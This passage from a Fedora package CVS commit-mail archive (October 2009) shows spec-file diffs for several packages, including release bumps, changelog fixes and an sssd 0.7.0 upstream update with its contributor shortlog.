+++ fonts-hebrew-fancy.spec	23 Oct 2009 19:20:26 -0000	1.10
@@ -7,7 +7,7 @@ from the Culmus project by Maxim Iorsh.
 
 Name: fonts-hebrew-fancy
 Version: 0.20051122
-Release: 7%{?dist}
+Release: 8%{?dist}
 License: GPLv2
 Source0: http://culmus.sourceforge.net/fancy/comix.tar.gz
 Source1: http://culmus.sourceforge.net/fancy/dorian.tar.gz
@@ -191,6 +191,10 @@ rm -rf %{buildroot}
 %dir %{_fontdir}
 
 %changelog
+* Fri Oct 23 2009 Milos Jakubicek <xjakub at fi.muni.cz> 0.20051122-8
+- Rename back to fonts-hebrew-fancy.spec, renaming must follow
+  http://fedoraproject.org/wiki/PackageMaintainers/CVSAdminProcedure
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.20051122-7
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From mjakubicek at fedoraproject.org  Fri Oct 23 19:20:29 2009
From: mjakubicek at fedoraproject.org (=?utf-8?b?TWlsb8WhIEpha3Viw63EjWVr?=)
Date: Fri, 23 Oct 2009 19:20:29 +0000 (UTC)
Subject: rpms/fonts-hebrew-fancy/devel fonts-hebrew-fancy.spec,1.9,1.10
Message-ID: <20091023192029.6CE9F11C02A2@cvs1.fedora.phx.redhat.com>

Author: mjakubicek

Update of /cvs/pkgs/rpms/fonts-hebrew-fancy/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29467/devel

Modified Files:
	fonts-hebrew-fancy.spec 
Log Message:
bump release




Index: fonts-hebrew-fancy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fonts-hebrew-fancy/devel/fonts-hebrew-fancy.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- fonts-hebrew-fancy.spec	23 Oct 2009 18:57:00 -0000	1.9
+++ fonts-hebrew-fancy.spec	23 Oct 2009 19:20:28 -0000	1.10
@@ -7,7 +7,7 @@ from the Culmus project by Maxim Iorsh.
 
 Name: fonts-hebrew-fancy
 Version: 0.20051122
-Release: 7%{?dist}
+Release: 8%{?dist}
 License: GPLv2
 Source0: http://culmus.sourceforge.net/fancy/comix.tar.gz
 Source1: http://culmus.sourceforge.net/fancy/dorian.tar.gz
@@ -191,6 +191,10 @@ rm -rf %{buildroot}
 %dir %{_fontdir}
 
 %changelog
+* Fri Oct 23 2009 Milos Jakubicek <xjakub at fi.muni.cz> 0.20051122-8
+- Rename back to fonts-hebrew-fancy.spec, renaming must follow
+  http://fedoraproject.org/wiki/PackageMaintainers/CVSAdminProcedure
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.20051122-7
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From mjakubicek at fedoraproject.org  Fri Oct 23 19:26:47 2009
From: mjakubicek at fedoraproject.org (=?utf-8?b?TWlsb8WhIEpha3Viw63EjWVr?=)
Date: Fri, 23 Oct 2009 19:26:47 +0000 (UTC)
Subject: rpms/libgtk-java/F-12 libgtk-java.spec,1.82,1.83
Message-ID: <20091023192647.90B5911C01EA@cvs1.fedora.phx.redhat.com>

Author: mjakubicek

Update of /cvs/pkgs/rpms/libgtk-java/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32198

Modified Files:
	libgtk-java.spec 
Log Message:
- bump release to be able to tag on different branch




Index: libgtk-java.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libgtk-java/F-12/libgtk-java.spec,v
retrieving revision 1.82
retrieving revision 1.83
diff -u -p -r1.82 -r1.83
--- libgtk-java.spec	25 Jul 2009 05:51:02 -0000	1.82
+++ libgtk-java.spec	23 Oct 2009 19:26:47 -0000	1.83
@@ -18,7 +18,7 @@
 Summary:	Java bindings for GTK+
 Name:		%{java_pkg_prefix}%{name_base}
 Version:	2.8.7
-Release: 	12%{?dist}
+Release: 	13%{?dist}
 License:	LGPLv2
 Group:		Development/Libraries
 URL:		http://java-gnome.sourceforge.net
@@ -136,6 +136,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Fri Oct 23 2009 Milos Jakubicek <xjakub at fi.muni.cz> - 2.8.7-13
+- Bump release to able to tag on different branch
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.8.7-12
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From rdieter at fedoraproject.org  Fri Oct 23 19:33:18 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri, 23 Oct 2009 19:33:18 +0000 (UTC)
Subject: rpms/constantine-backgrounds/devel constantine-backgrounds.spec, 1.8,
	1.9
Message-ID: <20091023193318.E4EAF11C01EA@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/constantine-backgrounds/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1790

Modified Files:
	constantine-backgrounds.spec 
Log Message:
getting ready for -extras-kde subpkg



Index: constantine-backgrounds.spec
===================================================================
RCS file: /cvs/pkgs/rpms/constantine-backgrounds/devel/constantine-backgrounds.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- constantine-backgrounds.spec	6 Oct 2009 19:50:53 -0000	1.8
+++ constantine-backgrounds.spec	23 Oct 2009 19:33:18 -0000	1.9
@@ -108,8 +108,16 @@ rm -rf $RPM_BUILD_ROOT
 %defattr(-,root,root,-)
 %{_kde4_datadir}/wallpapers/Constantine_Mosaico/
 
-#files extras-kde
-#defattr(-,root,root,-)
+%if 0
+%files extras-kde
+%defattr(-,root,root,-)
+%{_kde4_datadir}/wallpapers/Constantine_4flowers/
+%{_kde4_datadir}/wallpapers/Constantine_4horses/
+%{_kde4_datadir}/wallpapers/Constantine_constantine/
+%{_kde4_datadir}/wallpapers/Constantine_freedom/
+%{_kde4_datadir}/wallpapers/Constantine_mosaic-bird/
+%{_kde4_datadir}/wallpapers/Constantine_preubas/
+%endif
 
 
 %changelog



From mjakubicek at fedoraproject.org  Fri Oct 23 19:37:40 2009
From: mjakubicek at fedoraproject.org (=?utf-8?b?TWlsb8WhIEpha3Viw63EjWVr?=)
Date: Fri, 23 Oct 2009 19:37:40 +0000 (UTC)
Subject: rpms/fonts-hebrew-fancy/F-12 fonts-hebrew-fancy.spec,1.10,1.11
Message-ID: <20091023193740.22DA511C01EA@cvs1.fedora.phx.redhat.com>

Author: mjakubicek

Update of /cvs/pkgs/rpms/fonts-hebrew-fancy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3096/F-12

Modified Files:
	fonts-hebrew-fancy.spec 
Log Message:
- Rename fontname back too




Index: fonts-hebrew-fancy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fonts-hebrew-fancy/F-12/fonts-hebrew-fancy.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- fonts-hebrew-fancy.spec	23 Oct 2009 19:20:26 -0000	1.10
+++ fonts-hebrew-fancy.spec	23 Oct 2009 19:37:39 -0000	1.11
@@ -1,4 +1,4 @@
-%define fontname culmus-fancy
+%define fontname fonts-hebrew-fancy
 %define fontconf 62-%{fontname}
 
 %define common_desc \



From mjakubicek at fedoraproject.org  Fri Oct 23 19:37:40 2009
From: mjakubicek at fedoraproject.org (=?utf-8?b?TWlsb8WhIEpha3Viw63EjWVr?=)
Date: Fri, 23 Oct 2009 19:37:40 +0000 (UTC)
Subject: rpms/fonts-hebrew-fancy/F-11 fonts-hebrew-fancy.spec,1.9,1.10
Message-ID: <20091023193740.22EAA11C0260@cvs1.fedora.phx.redhat.com>

Author: mjakubicek

Update of /cvs/pkgs/rpms/fonts-hebrew-fancy/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3096/F-11

Modified Files:
	fonts-hebrew-fancy.spec 
Log Message:
- Rename fontname back too




Index: fonts-hebrew-fancy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fonts-hebrew-fancy/F-11/fonts-hebrew-fancy.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- fonts-hebrew-fancy.spec	23 Oct 2009 19:05:19 -0000	1.9
+++ fonts-hebrew-fancy.spec	23 Oct 2009 19:37:39 -0000	1.10
@@ -1,4 +1,4 @@
-%define fontname culmus-fancy
+%define fontname fonts-hebrew-fancy
 %define fontconf 62-%{fontname}
 
 %define common_desc \



From mjakubicek at fedoraproject.org  Fri Oct 23 19:37:40 2009
From: mjakubicek at fedoraproject.org (=?utf-8?b?TWlsb8WhIEpha3Viw63EjWVr?=)
Date: Fri, 23 Oct 2009 19:37:40 +0000 (UTC)
Subject: rpms/fonts-hebrew-fancy/devel fonts-hebrew-fancy.spec,1.10,1.11
Message-ID: <20091023193740.E3B8111C0264@cvs1.fedora.phx.redhat.com>

Author: mjakubicek

Update of /cvs/pkgs/rpms/fonts-hebrew-fancy/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3096/devel

Modified Files:
	fonts-hebrew-fancy.spec 
Log Message:
- Rename fontname back too




Index: fonts-hebrew-fancy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fonts-hebrew-fancy/devel/fonts-hebrew-fancy.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- fonts-hebrew-fancy.spec	23 Oct 2009 19:20:28 -0000	1.10
+++ fonts-hebrew-fancy.spec	23 Oct 2009 19:37:40 -0000	1.11
@@ -1,4 +1,4 @@
-%define fontname culmus-fancy
+%define fontname fonts-hebrew-fancy
 %define fontconf 62-%{fontname}
 
 %define common_desc \



From sgallagh at fedoraproject.org  Fri Oct 23 19:52:18 2009
From: sgallagh at fedoraproject.org (Stephen Gallagher)
Date: Fri, 23 Oct 2009 19:52:18 +0000 (UTC)
Subject: rpms/sssd/devel .cvsignore, 1.11, 1.12 sources, 1.12, 1.13 sssd.spec,
	1.24, 1.25
Message-ID: <20091023195218.8C0F111C01EA@cvs1.fedora.phx.redhat.com>

Author: sgallagh

Update of /cvs/pkgs/rpms/sssd/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9268

Modified Files:
	.cvsignore sources sssd.spec 
Log Message:
Dmitri Pal (10):
 * COLLECTION Adding item comparison and sorting
 * COLLECTION Realigning collection code
 * COLLECTION Making iterations pinnable
 * COLLECTION Enhancing hashing and iteration functions
 * ELAPI Event resolver
 * ELAPI Resolving message attribute
 * ELAPI Fixing warnings in the example
 * ELAPI Rename variables and functions not to use word template
 * ELAPI Fixed the host name resolution
 * ELAPI Compatibility code for getifaddr()

Jakub Hrozek (3):
 * Fix python sync operations and mem hierarchy
 * Fix error messages in tools
 * User home directories management

Martin Nagy (7):
 * Use correct talloc context in sss_names_init()
 * Fix potential memory leaks in the data provider
 * Resolver: Use talloc_get_type() for type safety
 * Use talloc to copy data from c-ares
 * Add a new set of helpful common functions for tests
 * Various improvements to the resolv test suite
 * Delete sssd-i18n.h and put it's old contents into util.h

Piotr Dr?g (1):
 * Update polish translation for 0.6.0

Ralf Haferkamp (2):
 * LDAP provider needs to link against krb libraries
 * SUSE specific init script

Simo Sorce (21):
 * Tighten up permission.
 * Initial implementation of sasl bind support
 * Fix tools sync operations and mem hierarchy
 * Fix long timeout on ldap operation
 * Make dp requests more robust
 * Differentiate between search and network timeouts
 * Remove DP process
 * Start responders predictably after providers
 * Remove magicPrivateGroups option
 * Fix services startup when only LOCAL is configured
 * Make options parser available to all providers
 * Move ldap provider configuration into its own file
 * Fix offline authentication
 * Return the dp error from the providers
 * Move all ldap provider init functions
 * Move all krb5 provider init functions
 * Add first basic IPA provider
 * Always list inputs before outputs
 * Start implementing ipa specific options.
 * Better offline/enumeration behavior
 * Fix setting the schema in the ipa provider

Stephen Gallagher (24):
 * Update version to 0.6.0
 * Fix infinite loop with empty group enumeration
 * Updating release script to use the VERSION file
 * Change requirement on libldb to libldb >= 0.9.3
 * INI Add config_from_fd() to ini_config
 * Remove unused btreemap code
 * Add new SSSDConfig python API
 * Add plugin configuration schema for proxy provider
 * Package SSSDConfig API
 * Clean up warnings in pysss.c
 * Remove warnings caused by 5e2301b8a75d10e5cbbe11e26e5192b894af6ad7
 * Remove two unused functions.
 * Fix segfault when using SSS tools with no local provider
 * Do not allow setting auth, access or chpass providers for LOCAL
 * Add krb5_common.h to the list of headers to 'make dist'
 * Use Python 3-compatible sitearch and sitelib
 * Better detect installed language files
 * Clean up rpmlint errors and warnings in sssd-client package
 * Set the Default-Stop LSB option for the SSSD sysv init script
 * Fix RPM builds on older versions of rpmbuild
 * Bring SSSDConfig API options up-to-date
 * Add pam_ctx (similar to nss_ctx) for storing global PAM config
 * Add support for offline auth cache timeout
 * Update version to 0.7.0

Sumit Bose (28):
 * update sysdb tests to new config file version
 * add utility call check_and_open_readonly
 * more documentation and test for sssd.conf
 * handle expired password during authentication
 * move password handling into subroutines
 * ask for new password if password is expired
 * remove redundant talloc_free
 * add description of chpass_provider option to sssd.conf man page
 * add support for server side LDAP password policies
 * add syslog message similar to pam_unix
 * use the correct kerberos context for each target
 * fix a wrong argument to unpack_buffer
 * add -Werror-implicit-function-declaration to default gcc flags
 * add a replacement if ldap_control_create is missing
 * use PYTHON_PREFIX to install SSSDConfig python API
 * add missing %defattr to the filelist of the client package
 * make sdap_id_connect_* independent of sdap_id_ctx
 * send a message if a backend target is not configured
 * use old password if available during password change
 * set chpass_provider implicit if not set explicit
 * more implicit provider target settings
 * enable debugging of krb5_child
 * Check for expired passwords in LDAP provider
 * added generic LDAP search sdap_get_generic_send/_recv
 * add store/search/delete interface for custom sysdb objects
 * update krb5 option handling to new option scheme
 * update ipa auth options to new option scheme
 * fix a compiler warning about redefinition of DEBUG




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sssd/devel/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	13 Oct 2009 20:25:50 -0000	1.11
+++ .cvsignore	23 Oct 2009 19:52:18 -0000	1.12
@@ -1 +1 @@
-sssd-0.6.1.tar.gz
+sssd-0.7.0.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sssd/devel/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	13 Oct 2009 20:25:50 -0000	1.12
+++ sources	23 Oct 2009 19:52:18 -0000	1.13
@@ -1 +1 @@
-2deb5f1506ae2e172c9ce1de45c1d1df  sssd-0.6.1.tar.gz
+403945c70c902302e5d8babecb24b096  sssd-0.7.0.tar.gz


Index: sssd.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sssd/devel/sssd.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- sssd.spec	15 Oct 2009 13:26:44 -0000	1.24
+++ sssd.spec	23 Oct 2009 19:52:18 -0000	1.25
@@ -1,12 +1,11 @@
-%{!?python_sitearch: %global python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
-%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
+%{!?python_sitearch: %global python_sitearch %(%{__python} -c "from distutils.sysconfig import *; import sys; sys.stdout.write(get_python_lib(1))")}
+%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import *; import sys; sys.stdout.write(get_python_lib())")}
 
 Name: sssd
-Version: 0.6.1
-Release: 2%{?dist}
+Version: 0.7.0
+Release: 1%{?dist}
 Group: Applications/System
 Summary: System Security Services Daemon
-
 # The entire source code is GPLv3+ except replace/ which is LGPLv3+
 License: GPLv3+ and LGPLv3+
 URL: http://fedorahosted.org/sssd
@@ -16,14 +15,11 @@ BuildRoot: %(mktemp -ud %{_tmppath}/%{na
 
 ### Patches ###
 
-Patch1: 0001-Tighten-up-permission.patch
-
 ### Dependencies ###
 
 Requires: libldb >= 0.9.3
 Requires: libtdb >= 1.1.3
-
-Requires: sssd-client = 0.6.1
+Requires: sssd-client = 0.7.0
 Requires(post): python
 Requires(preun):  initscripts chkconfig
 Requires(postun): /sbin/service
@@ -77,8 +73,6 @@ service.
 %prep
 %setup -q
 
-%patch1 -p1 -b .tighten_permission
-
 %build
 %configure \
     --without-tests \
@@ -94,6 +88,16 @@ rm -rf $RPM_BUILD_ROOT
 
 make install DESTDIR=$RPM_BUILD_ROOT
 
+# Prepare language files
+/usr/lib/rpm/find-lang.sh $RPM_BUILD_ROOT sss_daemon
+/usr/lib/rpm/find-lang.sh $RPM_BUILD_ROOT sss_client
+
+mkdir -p $RPM_BUILD_ROOT/%{_sysconfdir}/sssd
+install -m600 %{SOURCE1} $RPM_BUILD_ROOT%{_sysconfdir}/sssd/sssd.conf
+
+install -m400 server/config/etc/sssd.api.conf $RPM_BUILD_ROOT%{_sysconfdir}/sssd/sssd.api.conf
+install -m400 server/config/etc/sssd.api.d/* $RPM_BUILD_ROOT%{_sysconfdir}/sssd/sssd.api.d/
+
 # Remove .la files created by libtool
 rm -f \
     $RPM_BUILD_ROOT/%{_lib}/libnss_sss.la \
@@ -105,23 +109,17 @@ rm -f \
     $RPM_BUILD_ROOT/%{_libdir}/krb5/plugins/libkrb5/sssd_krb5_locator_plugin.la \
     $RPM_BUILD_ROOT/%{python_sitearch}/pysss.la
 
-mkdir -p $RPM_BUILD_ROOT/%{_sysconfdir}/sssd
-install -m600 %{SOURCE1} $RPM_BUILD_ROOT%{_sysconfdir}/sssd/sssd.conf
-
-mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/sssd/sssd.api.d
-install -m400 server/config/etc/sssd.api.conf $RPM_BUILD_ROOT%{_sysconfdir}/sssd/sssd.api.conf
-install -m400 server/config/etc/sssd.api.d/* $RPM_BUILD_ROOT%{_sysconfdir}/sssd/sssd.api.d/
-
-touch locator.filelist
 if test -e $RPM_BUILD_ROOT/%{_libdir}/krb5/plugins/libkrb5/sssd_krb5_locator_plugin.so
 then
-    echo %{_libdir}/krb5/plugins/libkrb5/sssd_krb5_locator_plugin.so > locator.filelist
+    # Apppend this file to the sss_daemon.lang
+    # Older versions of rpmbuild can only handle one -f option
+    echo %{_libdir}/krb5/plugins/libkrb5/sssd_krb5_locator_plugin.so >> sss_daemon.lang
 fi
 
 %clean
 rm -rf $RPM_BUILD_ROOT
 
-%files -f locator.filelist
+%files -f sss_daemon.lang
 %defattr(-,root,root,-)
 %doc COPYING
 %attr(755,root,root) %{_initrddir}/%{name}
@@ -146,6 +144,7 @@ rm -rf $RPM_BUILD_ROOT
 %attr(700,root,root) %dir %{_sysconfdir}/sssd/sssd.api.d
 %config %{_sysconfdir}/sssd/sssd.api.d/
 %{_mandir}/man5/sssd.conf.5*
+%{_mandir}/man5/sssd-ipa.5*
 %{_mandir}/man5/sssd-krb5.5*
 %{_mandir}/man5/sssd-ldap.5*
 %{_mandir}/man8/sssd.8*
@@ -156,13 +155,11 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man8/sss_userdel.8*
 %{_mandir}/man8/sss_usermod.8*
 %{_mandir}/man8/sssd_krb5_locator_plugin.8*
-%{_datadir}/locale/*/LC_MESSAGES/sss_client.mo
-%{_datadir}/locale/*/LC_MESSAGES/sss_daemon.mo
 %{python_sitearch}/pysss.so
 %{python_sitelib}/*.py*
 %{?fedora:%{python_sitelib}/*.egg-info}
 
-%files client
+%files client -f sss_client.lang
 %defattr(-,root,root,-)
 /%{_lib}/libnss_sss.so.2
 /%{_lib}/security/pam_sss.so
@@ -188,7 +185,14 @@ if [ $1 -ge 1 ] ; then
     /sbin/service %{servicename} condrestart 2>&1 > /dev/null
 fi
 
+%post client -p /sbin/ldconfig
+
+%postun client -p /sbin/ldconfig
+
 %changelog
+* Fri Oct 23 2009 Stephen Gallagher <sgallagh at redhat.com> - 0.7.0-1
+- New upstream release 0.7.0
+
 * Thu Oct 15 2009 Stephen Gallagher <sgallagh at redhat.com> - 0.6.1-2
 - Fix missing file permissions for sssd-clients
 



From mjakubicek at fedoraproject.org  Fri Oct 23 19:55:55 2009
From: mjakubicek at fedoraproject.org (=?utf-8?b?TWlsb8WhIEpha3Viw63EjWVr?=)
Date: Fri, 23 Oct 2009 19:55:55 +0000 (UTC)
Subject: rpms/olpc-kbdshim/F-12 olpc-kbdshim.spec,1.6,1.7
Message-ID: <20091023195555.DDAC411C01EA@cvs1.fedora.phx.redhat.com>

Author: mjakubicek

Update of /cvs/pkgs/rpms/olpc-kbdshim/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11166/F-12

Modified Files:
	olpc-kbdshim.spec 
Log Message:
- Fix FTBFS: use %%{ix86} instead of i586 as ExclusiveArch




Index: olpc-kbdshim.spec
===================================================================
RCS file: /cvs/pkgs/rpms/olpc-kbdshim/F-12/olpc-kbdshim.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- olpc-kbdshim.spec	27 Jul 2009 14:56:52 -0000	1.6
+++ olpc-kbdshim.spec	23 Oct 2009 19:55:55 -0000	1.7
@@ -1,7 +1,7 @@
 Summary: OLPC XO keyboard support daemon
 Name: olpc-kbdshim
 Version: 7
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 URL: http://dev.laptop.org/git/users/pgf/olpc-kbdshim/tree/README
@@ -12,7 +12,7 @@ BuildRoot: %(mktemp -ud %{_tmppath}/%{na
 
 BuildRequires: kernel-headers, pkgconfig, glib2-devel
 BuildRequires: dbus-glib-devel, hal-devel
-ExclusiveArch: i586
+ExclusiveArch: %{ix86}
 
 Requires: hal
 
@@ -59,6 +59,9 @@ echo A system restart may be necessary f
 echo proper initialization of olpc-kbdshim-hal.
 
 %changelog
+* Feb Oct 23 2009 Milos Jakubicek <xjakub at fi.muni.cz> - 7.2
+- Fix FTBFS: use %%{ix86} instead of i586 as ExclusiveArch
+
 * Tue Jul 27 2009 Paul Fox <pg at laptop.org>
 - 7-1
 - fix touchpad rotation for F-11, which includes X11 amd/geode



From mjakubicek at fedoraproject.org  Fri Oct 23 19:55:56 2009
From: mjakubicek at fedoraproject.org (=?utf-8?b?TWlsb8WhIEpha3Viw63EjWVr?=)
Date: Fri, 23 Oct 2009 19:55:56 +0000 (UTC)
Subject: rpms/olpc-kbdshim/devel olpc-kbdshim.spec,1.6,1.7
Message-ID: <20091023195556.01BD611C0260@cvs1.fedora.phx.redhat.com>

Author: mjakubicek

Update of /cvs/pkgs/rpms/olpc-kbdshim/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11166/devel

Modified Files:
	olpc-kbdshim.spec 
Log Message:
- Fix FTBFS: use %%{ix86} instead of i586 as ExclusiveArch




Index: olpc-kbdshim.spec
===================================================================
RCS file: /cvs/pkgs/rpms/olpc-kbdshim/devel/olpc-kbdshim.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- olpc-kbdshim.spec	27 Jul 2009 14:56:52 -0000	1.6
+++ olpc-kbdshim.spec	23 Oct 2009 19:55:55 -0000	1.7
@@ -1,7 +1,7 @@
 Summary: OLPC XO keyboard support daemon
 Name: olpc-kbdshim
 Version: 7
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 URL: http://dev.laptop.org/git/users/pgf/olpc-kbdshim/tree/README
@@ -12,7 +12,7 @@ BuildRoot: %(mktemp -ud %{_tmppath}/%{na
 
 BuildRequires: kernel-headers, pkgconfig, glib2-devel
 BuildRequires: dbus-glib-devel, hal-devel
-ExclusiveArch: i586
+ExclusiveArch: %{ix86}
 
 Requires: hal
 
@@ -59,6 +59,9 @@ echo A system restart may be necessary f
 echo proper initialization of olpc-kbdshim-hal.
 
 %changelog
+* Feb Oct 23 2009 Milos Jakubicek <xjakub at fi.muni.cz> - 7.2
+- Fix FTBFS: use %%{ix86} instead of i586 as ExclusiveArch
+
 * Tue Jul 27 2009 Paul Fox <pg at laptop.org>
 - 7-1
 - fix touchpad rotation for F-11, which includes X11 amd/geode



From sgallagh at fedoraproject.org  Fri Oct 23 19:56:18 2009
From: sgallagh at fedoraproject.org (Stephen Gallagher)
Date: Fri, 23 Oct 2009 19:56:18 +0000 (UTC)
Subject: rpms/sssd/devel 0001-Tighten-up-permission.patch,1.2,NONE
Message-ID: <20091023195618.D8B8A11C01EA@cvs1.fedora.phx.redhat.com>

Author: sgallagh

Update of /cvs/pkgs/rpms/sssd/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11493

Removed Files:
	0001-Tighten-up-permission.patch 
Log Message:
Remove unneeded patch file

Patch was accepted upstream



--- 0001-Tighten-up-permission.patch DELETED ---



From mjakubicek at fedoraproject.org  Fri Oct 23 19:57:52 2009
From: mjakubicek at fedoraproject.org (=?utf-8?b?TWlsb8WhIEpha3Viw63EjWVr?=)
Date: Fri, 23 Oct 2009 19:57:52 +0000 (UTC)
Subject: rpms/olpc-kbdshim/F-12 olpc-kbdshim.spec,1.7,1.8
Message-ID: <20091023195752.7A2B111C01EA@cvs1.fedora.phx.redhat.com>

Author: mjakubicek

Update of /cvs/pkgs/rpms/olpc-kbdshim/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11892/F-12

Modified Files:
	olpc-kbdshim.spec 
Log Message:
"Feb" was not the right abbreviation for Friday, sorry:(




Index: olpc-kbdshim.spec
===================================================================
RCS file: /cvs/pkgs/rpms/olpc-kbdshim/F-12/olpc-kbdshim.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- olpc-kbdshim.spec	23 Oct 2009 19:55:55 -0000	1.7
+++ olpc-kbdshim.spec	23 Oct 2009 19:57:52 -0000	1.8
@@ -59,7 +59,7 @@ echo A system restart may be necessary f
 echo proper initialization of olpc-kbdshim-hal.
 
 %changelog
-* Feb Oct 23 2009 Milos Jakubicek <xjakub at fi.muni.cz> - 7.2
+* Fri Oct 23 2009 Milos Jakubicek <xjakub at fi.muni.cz> - 7.2
 - Fix FTBFS: use %%{ix86} instead of i586 as ExclusiveArch
 
 * Tue Jul 27 2009 Paul Fox <pg at laptop.org>



From mjakubicek at fedoraproject.org  Fri Oct 23 19:57:52 2009
From: mjakubicek at fedoraproject.org (=?utf-8?b?TWlsb8WhIEpha3Viw63EjWVr?=)
Date: Fri, 23 Oct 2009 19:57:52 +0000 (UTC)
Subject: rpms/olpc-kbdshim/devel olpc-kbdshim.spec,1.7,1.8
Message-ID: <20091023195752.AE35811C01EA@cvs1.fedora.phx.redhat.com>

Author: mjakubicek

Update of /cvs/pkgs/rpms/olpc-kbdshim/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11892/devel

Modified Files:
	olpc-kbdshim.spec 
Log Message:
"Feb" was not the right abbreviation for Friday, sorry:(




Index: olpc-kbdshim.spec
===================================================================
RCS file: /cvs/pkgs/rpms/olpc-kbdshim/devel/olpc-kbdshim.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- olpc-kbdshim.spec	23 Oct 2009 19:55:55 -0000	1.7
+++ olpc-kbdshim.spec	23 Oct 2009 19:57:52 -0000	1.8
@@ -59,7 +59,7 @@ echo A system restart may be necessary f
 echo proper initialization of olpc-kbdshim-hal.
 
 %changelog
-* Feb Oct 23 2009 Milos Jakubicek <xjakub at fi.muni.cz> - 7.2
+* Fri Oct 23 2009 Milos Jakubicek <xjakub at fi.muni.cz> - 7.2
 - Fix FTBFS: use %%{ix86} instead of i586 as ExclusiveArch
 
 * Tue Jul 27 2009 Paul Fox <pg at laptop.org>



From sgallagh at fedoraproject.org  Fri Oct 23 19:59:20 2009
From: sgallagh at fedoraproject.org (Stephen Gallagher)
Date: Fri, 23 Oct 2009 19:59:20 +0000 (UTC)
Subject: rpms/sssd/F-12 .cvsignore, 1.11, 1.12 sources, 1.12, 1.13 sssd.spec,
	1.24, 1.25 0001-Tighten-up-permission.patch, 1.2, NONE
Message-ID: <20091023195920.252A311C01EA@cvs1.fedora.phx.redhat.com>

Author: sgallagh

Update of /cvs/pkgs/rpms/sssd/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12872

Modified Files:
	.cvsignore sources sssd.spec 
Removed Files:
	0001-Tighten-up-permission.patch 
Log Message:
Dmitri Pal (10):
 * COLLECTION Adding item comparison and sorting
 * COLLECTION Realigning collection code
 * COLLECTION Making iterations pinnable
 * COLLECTION Enhancing hashing and iteration functions
 * ELAPI Event resolver
 * ELAPI Resolving message attribute
 * ELAPI Fixing warnings in the example
 * ELAPI Rename variables and functions not to use word template
 * ELAPI Fixed the host name resolution
 * ELAPI Compatibility code for getifaddr()

Jakub Hrozek (3):
 * Fix python sync operations and mem hierarchy
 * Fix error messages in tools
 * User home directories management

Martin Nagy (7):
 * Use correct talloc context in sss_names_init()
 * Fix potential memory leaks in the data provider
 * Resolver: Use talloc_get_type() for type safety
 * Use talloc to copy data from c-ares
 * Add a new set of helpful common functions for tests
 * Various improvements to the resolv test suite
 * Delete sssd-i18n.h and put it's old contents into util.h

Piotr Dr?g (1):
 * Update polish translation for 0.6.0

Ralf Haferkamp (2):
 * LDAP provider needs to link against krb libraries
 * SUSE specific init script

Simo Sorce (21):
 * Tighten up permission.
 * Initial implementation of sasl bind support
 * Fix tools sync operations and mem hierarchy
 * Fix long timeout on ldap operation
 * Make dp requests more robust
 * Differentiate between search and network timeouts
 * Remove DP process
 * Start responders predictably after providers
 * Remove magicPrivateGroups option
 * Fix services startup when only LOCAL is configured
 * Make options parser available to all providers
